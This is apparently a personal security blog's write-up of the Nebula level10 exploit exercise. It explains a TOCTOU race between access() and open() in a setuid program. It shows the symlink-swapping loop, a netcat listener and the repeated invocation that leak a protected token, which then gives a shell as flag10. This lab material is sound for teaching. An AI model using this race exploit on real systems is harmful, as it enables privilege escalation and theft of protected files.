Mike-Boya

Information Security and Programming Blog

Exploit Exercises - Nebula Level10

level10 provides us with the following source code:

    #include <stdlib.h>
    #include <unistd.h>
    #include <sys/types.h>
    #include <stdio.h>
    #include <fcntl.h>
    #include <errno.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <string.h>

    int main(int argc, char **argv)
    {
      char *file;
      char *host;

      if(argc < 3) {
          printf("%s file host\n\tsends file to host if you have access to it\n", argv[0]);
          exit(1);
      }

      file = argv[1];
      host = argv[2];

      if(access(argv[1], R_OK) == 0) {
          int fd;
          int ffd;
          int rc;
          struct sockaddr_in sin;
          char buffer[4096];

          printf("Connecting to %s:18211 .. ", host); fflush(stdout);

          fd = socket(AF_INET, SOCK_STREAM, 0);

          memset(&sin, 0, sizeof(struct sockaddr_in));
          sin.sin_family = AF_INET;
          sin.sin_addr.s_addr = inet_addr(host);
          sin.sin_port = htons(18211);

          if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) {
              printf("Unable to connect to host %s\n", host);
              exit(EXIT_FAILURE);
          }

    #define HITHERE ".oO Oo.\n"
          if(write(fd, HITHERE, strlen(HITHERE)) == -1) {
              printf("Unable to write banner to host %s\n", host);
              exit(EXIT_FAILURE);
          }
    #undef HITHERE

          printf("Connected!\nSending file .. "); fflush(stdout);

          ffd = open(file, O_RDONLY);
          if(ffd == -1) {
              printf("Damn. Unable to open file\n");
              exit(EXIT_FAILURE);
          }

          rc = read(ffd, buffer, sizeof(buffer));
          if(rc == -1) {
              printf("Unable to read from file: %s\n", strerror(errno));
              exit(EXIT_FAILURE);
          }

          write(fd, buffer, rc);

          printf("wrote file!\n");

      } else {
          printf("You don't have access to %s\n", file);
      }
    }

This challenge is a tough one, we need to trigger the race condition within the code.

The man page for access() confirms the suspicion: “Warning: Using access() to check if a user is authorized to, for example, open a file before actually doing so using open(2) creates a security hole, because the user might exploit the short time interval between checking and opening the file to manipulate it. For this reason, the use of this system call should be avoided.” - Let’s see if we can cause that to occur on line 24.

I decided against using my local machine to run some of the listeners, so I opened a few terminals (four, to be exact) and logged in as the level10 user.

In the first terminal, I create a fake token in “/tmp/fake” which contains the string “foo”. I use a while loop to create an infinite loop creating the symbolic link.

    level10@nebula:~$ echo "foo" > /tmp/fake
    level10@nebula:~$ while true; do ln -fs /tmp/fake token; ln -fs /home/flag10/token token; done

The next terminal contains another infinite loop containing my netcat listener (on port 18211 which was specified on line 38 of the original c code) that redirects the output to a file named “out”.

    level10@nebula:~$ while true; do nc -l 18211 >> out; done

The third terminal is used to call the flag10 program and provide my token using 127.0.0.1 as the host. This is also placed in an infinite loop, it will need to execute a number of times to trigger the race condition.

    level10@nebula:~$ while true; do /home/flag10/flag10 /home/level10/token 127.0.0.1; done

Finally, the last terminal tails my output file. I use this to watch for the token:

    level10@nebula:~$ tail -f out
    .oO Oo.
    foo
    .oO Oo.
    foo
    .oO Oo.
    foo
    .oO Oo.
    615a2ce1-b2b5-4c76-8eed-8aa5c4015c27
    .oO Oo.
    foo

Looks like the token is 615a2ce1-b2b5-4c76-8eed-8aa5c4015c27. Let’s check to see if that is the password for the flag10 user:

    level10@nebula:~$ su flag10
    Password:
    sh-4.2$ id
    uid=989(flag10) gid=989(flag10) groups=989(flag10)
    sh-4.2$ getflag
    You have successfully executed getflag on a target account

While I could have used bg and fg to minimize the amount of terminals I needed to use, I was simply building upon each step that I took. If I had a clearer solution for this challenge, I would have simply written a short python script to accomplish the goal.

Mike